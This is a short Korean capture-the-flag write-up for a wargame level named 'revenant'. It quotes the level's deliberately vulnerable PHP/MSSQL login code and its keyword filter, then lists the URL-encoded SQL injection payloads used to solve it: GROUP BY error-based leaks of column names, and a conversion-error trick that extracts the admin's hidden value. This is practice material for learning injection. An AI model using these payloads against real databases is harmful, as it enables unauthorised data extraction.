revenant-writeup
<?php
include "./config.php";
login_chk();
$db = mssql_connect();
if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select * from prob_revenant where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
sqlsrv_query($db,$query);
if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));
$query = "select * from prob_revenant where id='admin'";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['4'] === $_GET['pw']) solve("revenant"); // you have to pwn 5th column
highlight_file(__FILE__);
?>
이번 문제는 다섯번쨰 column 값을 얻어야한단다.
group by를 사용해 에러를 만들면 뚝딱!
?id=admin&pw=%27%20group%20by%20pw%20--%20
다음 column이 나온다!! group by 뒤에 나온 column을 하나씩 추가하다 보면 결국
?id=admin&pw=%27%20group%20by%20id,pw,"45a88487","13477a35"%20--%20
5번째 column이 나오게 되고 지난 문제와 같이 값을 얻어보면?
?id=admin&pw=%27%20or%20"9604b0c8">1--%20
값이 나온다! 근데 답이 아니어서 생각을 해보니 admin의 값이 아니어서 CLEAR가 안되는거 같아 쿼리를 바꿔보니?
?id=admin&pw=%27%20or%20id=%27admin%27%20and%20"9604b0c8">1--%20
CLEAR!!!